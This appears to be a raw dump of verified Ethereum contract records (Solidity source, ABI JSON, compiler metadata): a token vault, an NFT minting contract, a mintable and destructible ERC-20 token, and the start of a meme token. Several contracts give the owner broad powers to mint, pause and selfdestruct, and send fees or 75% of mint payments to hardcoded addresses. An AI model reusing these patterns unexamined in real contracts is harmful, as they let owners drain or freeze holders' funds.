return keccak256(abi.encodePacked(a)) == keccak256(abi.encodePacked(b));
}
}
function withdraw(string memory symbol, address payable to, uint256 amount, bool isCharge) public onlyOwner {
require(bytes(symbol).length != 0, "symbol must not be blank.");
require(to != address(0), "Address must not be zero.");
require(tokenMap[symbol].isValid, "There is no token contract.");
uint256 balAmount = tokenMap[symbol].token.balanceOf(address(this));
if (hashCompareWithLengthCheck(symbol, "USDT")) {
uint256 assertAmount = amount;
if (isCharge) {
assertAmount = amount.add(1000000);
}
require(assertAmount <= balAmount, "There is no enough USDT balance.");
usdtToken.transfer(to, amount);
if (isCharge) {
usdtToken.transfer(0x08a7CD504E2f380d89747A3a0cD42d40dDd428e6, 1000000);
}
} else if (hashCompareWithLengthCheck(symbol, "ANKR")) {
uint256 assertAmount = amount;
if (isCharge) {
assertAmount = amount.add(10000000000000000000);
}
require(assertAmount <= balAmount, "There is no enough ANKR balance.");
tokenMap[symbol].token.transfer(to, amount);
if (isCharge) {
tokenMap[symbol].token.transfer(0x08a7CD504E2f380d89747A3a0cD42d40dDd428e6, 10000000000000000000);
}
} else {
return;
}
emit Withdrawn(to, symbol, amount);
}
function availableBalance(string memory symbol) public view returns (uint256) {
require(bytes(symbol).length != 0, "symbol must not be blank.");
require(tokenMap[symbol].isValid, "There is no token contract.");
return tokenMap[symbol].token.balanceOf(address(this));
}
function isSupportTokens(string memory symbol) public view returns (bool) {
require(bytes(symbol).length != 0, "symbol must not be blank.");
if (tokenMap[symbol].isValid) {
return true;
}
return false;
}
function isStateNormal() public view returns (bool) {
return paused;
}
function destory() public onlyOwner{
selfdestruct(address(uint160(address(this))));
}
} | [{"constant":false,"inputs":[],"name":"restore","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"symbol","type":"string"}],"name":"availableBalance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"isStateNormal","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"paused","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"destory","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"pause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"symbol","type":"string"},{"name":"to","type":"address"},{"name":"amount","type":"uint256"},{"name":"isCharge","type":"bool"}],"name":"withdraw","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"symbol","type":"string"}],"name":"isSupportTokens","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"symbol","type":"string"},{"name":"tokenContract","type":"address"}],"name":"addToken","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"symbol","type":"string"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"Withdrawn","type":"event"},{"anonymous":false,"inputs":[],"name":"Pause","type":"event"},{"anonymous":false,"inputs":[],"name":"Restore","type":"event"}] | v0.5.0+commit.1d4f565a | false | 200 | Default | GNU GPLv3 | false | bzzr://e904d5d13a9a063188c96197146f0634a75e3ad67a3af317452b321328a5ff52 |
|||
OfficersClubCollection | @openzeppelin/contracts/access/Ownable.sol | 0xbb2b9546e49ccc1572cc8f0d57bc11f46c691ffa | Solidity | pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity >=0.7.0 <0.9.0;
contract OfficersClubCollection is ERC721Enumerable, Ownable {
using Strings for uint256;
string public baseURI;
string public baseExtension = ".json";
string public notRevealedUri;
uint256 public cost = .025 ether;
uint256 public maxSupply = 10000;
uint256 public maxMintAmount = 20;
uint256 public nftPerAddressLimit = 15;
bool public paused = false;
bool public revealed = false;
bool public onlyWhitelisted = false;
address payable commissions = payable(0x87851dBc925797b82E34B35cBC40D809840f9250);
address[] public whitelistedAddresses;
mapping(address => uint256) public addressPresaleMinted;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI,
string memory _initNotRevealedUri
) ERC721(_name, _symbol) {
setBaseURI(_initBaseURI);
setNotRevealedURI(_initNotRevealedUri);
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
// public
function mint(uint256 _mintAmount) public payable {
require(!paused, "the contract is paused");
uint256 supply = totalSupply();
require(_mintAmount > 0, "need to mint at least 1 OC");
require(_mintAmount <= maxMintAmount, "max OC mint amount per session exceeded");
require(supply + _mintAmount <= maxSupply, "max OC limit exceeded");
if (msg.sender != owner()) {
if(onlyWhitelisted == true) {
require(isWhitelisted(msg.sender), "user is not whitelisted");
uint256 ownerTokenCount = addressPresaleMinted[msg.sender];
require(ownerTokenCount + _mintAmount <= nftPerAddressLimit, "max OC per address exceeded");
}
require(msg.value >= cost * _mintAmount, "insufficient funds");
}
for (uint256 i = 1; i <= _mintAmount; i++) {
addressPresaleMinted[msg.sender]++;
_safeMint(msg.sender, supply + i);
}
(bool success, ) = payable(commissions).call{value: msg.value * 75 / 100}("");
require(success);
}
function isWhitelisted(address _user) public view returns (bool) {
for (uint i = 0; i < whitelistedAddresses.length; i++) {
if (whitelistedAddresses[i] == _user) {
return true;
}
}
return false;
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if(revealed == false) {
return notRevealedUri;
}
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension))
: "";
}
//only owner
function reveal() public onlyOwner() {
revealed = true;
}
function setNftPerAddressLimit(uint256 _limit) public onlyOwner() {
nftPerAddressLimit = _limit;
}
function setCost(uint256 _newCost) public onlyOwner() {
cost = _newCost;
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner() {
maxMintAmount = _newmaxMintAmount;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
baseExtension = _newBaseExtension;
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
notRevealedUri = _notRevealedURI;
}
function pause(bool _state) public onlyOwner {
paused = _state;
}
function setOnlyWhitelisted(bool _state) public onlyOwner {
onlyWhitelisted = _state;
}
function whitelistUsers(address[] calldata _users) public onlyOwner {
delete whitelistedAddresses;
whitelistedAddresses = _users;
}
function withdraw() public payable onlyOwner {
(bool success, ) = payable(msg.sender).call{value: address(this).balance}("");
require(success);
}
}
// - Officers Club Collection - NFTs, officersclubcollection.com , made by mand & jhu// | [{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"string","name":"_initBaseURI","type":"string"},{"internalType":"string","name":"_initNotRevealedUri","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"addressPresaleMinted","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseExtension","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cost","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isWhitelisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxMintAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_mintAmount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"nftPerAddressLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"notRevealedUri","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"onlyWhitelisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_state","type":"bool"}],"name":"pause","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"paused","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"reveal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"revealed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_newBaseExtension","type":"string"}],"name":"setBaseExtension","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_newBaseURI","type":"string"}],"name":"setBaseURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newCost","type":"uint256"}],"name":"setCost","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_limit","type":"uint256"}],"name":"setNftPerAddressLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_notRevealedURI","type":"string"}],"name":"setNotRevealedURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_state","type":"bool"}],"name":"setOnlyWhitelisted","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newmaxMintAmount","type":"uint256"}],"name":"setmaxMintAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"walletOfOwner","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_users","type":"address[]"}],"name":"whitelistUsers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"whitelistedAddresses","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"payable","type":"function"}] | v0.8.7+commit.e28d00a7 | true | 200 | 000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000180000000000000000000000000000000000000000000000000000000000000001a4f6666696365727320436c7562202d20436f6c6c656374696f6e00000000000000000000000000000000000000000000000000000000000000000000000000024f43000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005168747470733a2f2f676174657761792e70696e6174612e636c6f75642f697066732f516d59444745755062325672313674395874706563464e725073637268354759314d73516a655635334b6e5837382f000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005068747470733a2f2f676174657761792e70696e6174612e636c6f75642f697066732f516d59444745755062325672313674395874706563464e725073637268354759314d73516a655635334b6e58373800000000000000000000000000000000 | Default | GNU GPLv3 | false | ipfs://7f8d34e82b8d0a71d92fdd6857dbd5dbb068a14126e18c08441d535216f986d4 |
||
MomentumToken | MomentumToken.sol | 0x9f22a13204c09e0f89144b63da0588a836c07931 | Solidity | pragma solidity ^0.4.20;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Destructible
* @dev Base contract that can be destroyed by owner. All funds in contract will be sent to the owner.
*/
contract Destructible is Ownable {
function Destructible() public payable { }
/**
* @dev Transfers the current balance to the owner and terminates the contract.
*/
function destroy() onlyOwner public {
selfdestruct(owner);
}
function destroyAndSend(address _recipient) onlyOwner public {
selfdestruct(_recipient);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
}
}
/**
* @title Pausable token
*
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
/**
* Token Definition
**/
contract MomentumToken is MintableToken,BurnableToken,PausableToken,Destructible {
string public name = "Momentum";
string public symbol = "MMTM";
uint256 public decimals = 18;
//override
function burn(uint256 _value) onlyOwner public {
super.burn(_value);
}
} | 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| v0.4.20+commit.3155dd80 | true | 200 | Default | false | bzzr://91f49fdc7286390b2e1f579676ad2ad2e5375d5244844765ee4e568b1b9e26a4 |
||||
KakeguruiInu | KakeguruiInu.sol | 0x7a8720f568d3c25bbf5ffc1166ad1438ac504763 | Solidity | /**
*Submitted for verification at Etherscan.io on 2021-10-16
*/
/*
💻Website: https://kakeguruiinu.com/
💬Telegram: https://t.me/kakeguruiinu
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
